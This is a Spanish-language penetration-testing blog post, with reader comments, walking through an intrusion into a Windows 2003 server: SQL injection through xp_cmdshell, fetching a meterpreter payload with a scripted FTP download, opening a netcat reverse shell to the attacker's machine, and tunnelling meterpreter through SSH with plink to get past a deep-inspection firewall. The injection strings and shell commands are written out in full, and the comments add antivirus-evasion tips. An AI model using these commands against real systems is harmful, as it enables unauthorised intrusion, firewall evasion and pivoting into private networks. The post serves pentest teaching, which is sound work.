Túneles ssh + meterpreter para saltar firewalls de nueva generación.

En este post, voy a mostrar el contenido principal de un artículo más extenso publicado por mi en la revista Kali Linux 2 | Pentest Extra 05/2013 en Inglés. Espero que sea de vuestro agrado.

Introducción.

Durante un reciente test de intrusión me encontré con el caso de poder ejecutar comandos en una máquina remota (Windows 2003 Server) a través de una inyección SQL en un SQL Server 2005. Esta máquina era parte de una red de área local (LAN), y mi intención era poder utilizarla para pivotar al resto de máquinas hasta lograr hacerme con una cuenta de “Administrador del dominio”.

Llegados a este punto, mi vector de ataque estaba claro:

  • Subir y ejecutar un payload de meterpreter para conseguir una sesión.
  • Escalar privilegios en la máquina.
  • Capturar el “hash” del administrador para utilizar en otras máquinas.
  • Utilizar un “Auth token  de delegación” de un usuario Administrador del dominio para suplantarlo en el caso de haberlo, y utilizarlo para crear un usuario Administrador del dominio.
  • Utilizar esta máquina como puerta de enlace para acceder al resto de máquinas de la LAN.

Al probar el vector de ataque mencionado anteriormente, detecte una serie de problemas que hubo que solucionar para conseguir el objetivo final.

El principal de los problemas fue que después de conseguir subir un payload de “meterpreter” en la máquina, al ejecutarlo la conexión inversa no llegaba a su destino.

Primero pensé que se debía a que un firewall no permitía acceso a puertos no usuales, así que repetí el proceso esta vez utilizando un payload que intentaba conectar al puerto 80 de mi máquina, pero tampoco funcionó.

Esa misma prueba con un simple “netcat” si funcionaba, así que deduje que el problema estaba en que el firewall bloqueaba los paquetes de “meterpreter”, probablemente por ser un “Deep Inspection Firewall” y contener las firmas de “meterpreter” en su fichero de firmas.

Para solucionar dicho problema, utilice cifrado, ya que un Firewall solo puede inspeccionar los paquetes que ve en claro, pero no los cifrados. Para conseguir que los paquetes se cifraran de extremo a extremo (de máquina comprometida a máquina atacante), utilicé un túnel SSH, lo cual me llevo al éxito pudiendo traspasar dicha barrera de seguridad.

A continuación voy a tratar de explicar paso a paso todo el proceso realizado para conseguir apropiarme de dicha máquina y utilizarla para pivotar a otras máquinas de su propia LAN.

¿Como subir el payload?.

Cuando tenemos acceso a un sistema Linux, normalmente no tenemos ningún problema para subirle ficheros, ya que normalmente cualquier distribución Linux viene con “wget” o “curl”, por lo que tan solo necesitamos un servidor web donde dejar los binarios a descargar y después descargarlos con cualquiera de estas herramientas.

Pero Windows es diferente. Por defecto no tenemos ninguna de estas herramientas ni otras similares. Podríamos tratar de abrir “Internet Explorer” o “Firefox” si está instalado para descargar el fichero, pero corremos el peligro de que el programa quede a la espera de la interacción del usuario y al no estar en la pantalla no poder hacerlo.

Así pues, lo que yo hice (seguro que existen más formas) fue utilizar el comando “ftp” de windows.

Por defecto el “ftp” es un programa interactivo, cuando se ejecuta pide un usuario y una contraseña para logarse, y después se le van introduciendo las ordenes deseadas terminando con  un “bye”.

Pero el “ftp” de Windows nos proporciona la posibilidad de utilizarlo de forma no interactiva, pasándole en un fichero de texto todos las cadenas que necesitamos enviar. Esto se consigue con la opción “-s fichero.txt”.

Estos son los pasos que se pueden utilizar para subir ficheros:

  • Dejamos un fichero llamado “meterpreter.exe” (payload de meterpreter reverso) en un ftp público.
  • Mediante la siguiente inyección SQL inyectamos el siguiente comando del sistema:

[code]’;exec master..xp_cmdshell ‘(echo ftp& echo kk@& echo bin& echo get meterpreter.exe& echo bye) >ftp.txt’;exec master..xp_cmdshell "ftp -s:ftp.txt IPServerFTP"; –[/code]

Esta inyección crea el fichero ftp.txt con el siguiente contenido:

[code]

ftp

kk@

bin

get meterpreter.exe

bye

[/code]

Y después llama al comando “ftp” pasándole como parámetro la opción “-s” y el fichero que hemos creado.

El resultado de esto es que la máquina se conectará al servidor FTP, se autenticará, ejecutará el comando “bin”, ejecutara “get meterpreter.exe” lo cual descargará el fichero en el sistema y ejecutara “bye” para cerrar la sesión FTP.

En estos momentos ya tenemos el payload en la máquina remota, con lo que tan solo quedaría ejecutarlo con otra inyección y poner un “handler” de Metasploit en el otro extremo para conseguir una shell de “meterpreter”.

Lo haríamos así por ejemplo:

[code]

‘;exec master..xp_cmdshell “start /B meterpreter.exe”;–

[/code]

La opción “/B” del comando “start” evita que se abra una ventana de “cmd” mientras se ejecuta el programa. También podría haber llamado simplemente a “meterpreter.exe”, pero esto hubiera dejado el proceso de la consulta en ejecución, y para realizar otra inyección hubiera tenido que abrir una nueva ventana, ya que si cancelaba o cerraba esta, la sesión de “meterpreter” hubiera muerto a menos que se hubiera migrado a otro proceso.

La red donde se encontraba esta máquina, utilizaba un Firewall de nueva generación, con tecnología de «Inspección profunda de Paqutes (DPI)». Está tecnología analiza los datos que contienen los paquetes que atraviesan el firewall y utiliza una base de datos de firmas como la de los antivirus para detectar código malicioso.

Como es normal, la firma de un “payload” de meterpreter se encuentran en la mayoría de las bases de datos de antivirus, y también de IDS y firewalls, con lo que en este caso la conexión reversa de “meterpreter” que debería haber llegado hasta la máquina atacante, no llegaba.

¿Qué hacemos entonces?, ¿cómo conseguimos una shell de meterpreter?

Tanto los firewall como los IDS que analizan el contenido de los paquetes, lo hacen en paquetes que viajan en claro. Para evitar que un dispositivo intermedio de una red, ya sea un router o un firewall inspeccione el contenido de lo que enviamos a través de esta, la solución es cifrar de extremo a extremo esos paquetes, con lo cual  estos dispositivos tan solo verán paquetes cuyo campo de datos está cifrado y por lo tanto no pueden reconocer el contenido.

¿Cómo hacemos para que meterpreter haga una conexión reversa por un canal cifrado de extremo a extremo que el firewall no pueda analizar?

Aquí es donde entran en juego los túneles SSH, los cuales nos permitirán enviar tráfico cifrado por un canal que normalmente todos los firewall van a permitir. Hay que añadir, que lo que vamos ha hacer es lanzar una conexión SSH desde el interior de la LAN hasta un servidor de Internet (esto lo suelen permitir los firewall) y utilizaremos ese canal que hemos creado para enviar información desde fuera hasta el interior de la LAN.

Analizando lo que nos permite el firewall.

De entrada sabemos que desde la máquina remota podemos hacer conexiones hacia Internet en el puerto 21 (FTP), ya que es precisamente lo que hemos hecho para subir el payload.

Muchas configuraciones de firewall, bloquean tanto el tráfico entrante como saliente de una LAN, a excepción de ciertos servicios permitidos, como puede ser navegar por internet, hacer conexiones ftp, ssh, etc, otras configuraciones más permisivas permiten cualquier conexión desde el interior de la LAN hacia Internet.

Necesitamos saber a que puertos podemos conectar, si se nos permite cualquiera o por el contrario solo los más usuales como el 80 (http) y el 443 (https), tal vez también el 53 (dns), el 25 (smtp) o el 22 (ssh).

Para realizar este procedimiento subimos al servidor mediante el “ftp” dos nuevos binarios, un netcat (nc.exe) para probar conexiones TCP a distintos puertos y “plink.exe” (cliente ssh putty para línea de comandos). Algunos antivirus de host detectan «netcat» como software malicioso y lo borran, en este caso no fue así. Si no puede utilizarse «netcat», deberá buscarse una herramienta similar que el antivirus no bloquee.

Ahora, en la maquina atacante ponemos el netcat a la escucha en el puerto 21.

root@kali:~# nc -vvv -l -p 21
listening on [any] 21 …

Y en el sistema remoto ejecutamos:

[code]‘;exec master..xp_cmdshell “nc.exe IP_Kali 21 –e cmd.exe”;–[/code]

Esto nos devolverá un “cmd.exe” de la máquina remota directamente en la máquina atacante.

conexion_netcat

Desde esta shell podremos ejecutar comandos más cómodamente que mediante la inyección SQL.

Vamos a ver que mas puertos podemos utilizar. Para esto simplemente repetimos la operación, poniendo puertos a la escucha en nuestra maquina atacante y conectando desde nuestra shell utilizando “nc.exe”.

Para conseguir el objetivo, necesitamos conectar con al menos 2 puertos, uno para hacer el túnel ssh y otro para ejecutar nuestro payload.

Seguro que alguien se pregunta ¿para que queremos hacer esto si ya tenemos una shell en la máquina remota?. La respuesta es fácil, aunque hay técnicas que nos permiten desde esta shell poder escalar privilegios en el sistema  y pivotar a otros sistemas, una sesión de “meterpreter” facilita mucho las cosas, tanto para escalar privilegios (getsystem), como para pivotar ya que una vez tenemos la sesión podemos poner una ruta en Metasploit para que la utilice como “gateway” hacia la LAN víctima.

En el caso que nos ocupa, después de hacer las distintas pruebas con “netcat” pude observar que desde el interior de la LAN tenía acceso sin restricciones hacia Internet.

Así pues, nos queda abrir un túnel SSH y probar nuestro «meterpreter» a través de dicho túnel. En este caso, el túnel lo lanzaremos desde un cliente Windows (plink.exe ejecutándose desde la maquina comprometida) hacia un servidor «OpenSSH» en un «kali Linux».

Simulación del ataque realizado.

Supongamos el siguiente escenario (para la demo utilizamos dos rangos de direccionamiento IP privado, pero el 10.10.0.x simula direccionamiento público):

  • IP pública maquina atacante: 10.10.0.10
  • IP pública Firewall: 10.10.0.20
  • IP de red de la LAN: 192.168.65.0/24
  • IP privada Firewall: 192.168.65.254
  • IP privada máquina detrás del firewall: 192.168.65.10
  • IP privada segunda máquina detrás del firewall: 192.168.65.15

Primero creamos nuestro payload de meterpreter apuntando al puerto 6666 de 127.0.0.1 (localhost). Este “payload” cuando sea invocado desde una máquina Windows realizará una conexión a ella misma (127.0.0.1) en el puerto 6666.

creacion_payload_demo

Este payload es el que subimos a la máquina víctima junto a “plink.exe” y “nc.exe”.

Una vez subidos los tres archivos, primero hacemos una conexión con “netcat” para tener una consola donde ejecutar comandos ya que siempre será más comodo que cualquier “inyección SQL” o cualquier “Shell PHP”.

En la máquina atacante ponemos «netcat» a la escucha y después de ejecutar el comando mostrado anteriormente mediante la inyección SQL, recibimos la conexión reversa.

conexion_netcat_demo

Nótese que la conexión a nuestra maquina viene desde 10.10.0.20, pero la IP de esta es 192.168.65.10.

Ahora utilizando “plink.exe” debemos crear un túnel SSH que conecte el puerto 6666 de la máquina remoto con el puerto 6666 de nuestra máquina local (los números de puerto pueden ser cualquiera, pero entonces hay que crear el payload para que utilice los que se decida).

tunel_ssh_demo

Una vez realizada la conexión por “ssh”, se puede observar el puerto 6666 en la maquina windows en estado “LISTENING”.

puertos_win_demo

Ahora en la maquina local (atacante), configuramos un “handler” de Metasploit con el mismo “payload”  que hemos creado y subido a la máquina windows escuchando en el puerto 6666 (puerto que hemos configurado en el túnel). Como LHOST ponemos la IP de la maquina local, ya que la conexión hasta el “handler” vendrá por el túnel y por lo tanto será desde el extremo del túnel de la propia máquina al puerto 6666 de esta.

config_handler_demo

Una vez todo el escenario preparado, tan solo queda ejecutar nuestro payload “met.exe” en la maquina remota. Una vez ejecutado, el “handler” recibirá la conexión y enviará el “stage” para conseguir abrir la sesión. La siguiente imagen lo muestra.

sesion_demo

BINGO!!!!, ya tenemos una sesión de “meterpreter” en la máquina remota saltándonos el Firewall de nueva generación.

Como se observa en la imagen, Metasploit indica que la conexión viene desde 10.10.0.10 (la IP de la propia máquina). Esto es debido a que la conexión viene por el túnel SSH.

Una vez conseguido nuestro propósito, podemos utilizar esta sesión para pivotar e intentar atacar otras máquinas de la red local 192.168.65.0/24, aunque esto ya queda fuera del propósito de este post.

Espero que os haya gustado esta nueva entrega.

Saludos y gracias por leerme.

10 comentarios en «Túneles ssh + meterpreter para saltar firewalls de nueva generación.»

  1. Buena currada y gran éxito. Sólo dos comentarios, la IP 10.10.10.10 no es por el túnel SSH sino porque lógicamente hay un NAT de por medio entre la red local 192.168.x.x e Internet.
    Por otra parte, para llevar a cabo todo esto ha dado la casualidad que tienes permitido en el firewall el SSH de dentro hacia fuera. Esto no es tan común como crees. Cualquier auditoría en las reglas firewall dirían que sólo debe permitirse tráfico SSH saliente hacia un destino conocido. Todo lo demás, implícitamente se deniega.

    De cualquier forma, buen trabajo.

    Un saludo.

    • Muy cierto el tema de la limitación del SSH en muchos lugares, aunque en este caso, siempre que esa denegación se haga por puerto, ¿que te impide montar un servidor ssh en el puerto 80 de la máquina atacante para conectar de dentro a fuera? Otra cosa es que como hablamos de firewalls de nueva generación, detecten el protocolo y bloqueen el tráfico, pero creo que esto tampoco es tan común (esto es una simple opinión).

      Saludos y gracias por el feedback.

  2. Muy buen artículo, pero podrías haber usado veil+msfvenom y pyinstaller para crear el exe? yo he probado esto y hasta el momento no lo detecta ningún av.

    • Cierto, es otro método que funciona perfectamente a día de hoy. El único inconveniente que le encuentro es que el tamaño de los payload que genera veil es bastante grande.

  3. Buenas.

    Para la siguiente vez te recomiendo simplemente usar reverse_https como PAYLOAD y listo. Bye bye problemas de ese tipo.

    Un saludo

  4. Tengo una inquietud nacho, cuando lanzo el archivo infectado en la maquina victima y en la maquina atacante llega el stage pero no llega la sesión de meterpreter, aquí se que la vulnerabilidad esta explotada, pero la comunicación la esta bloqueado el firewall de la maquina victima, en la maquina ataque veo que la conexión esta establecida, dime que puedo hacer a partir de aquí, para terminar de bypassear el firewall de la victima.

Responder a sorribas Cancelar la respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*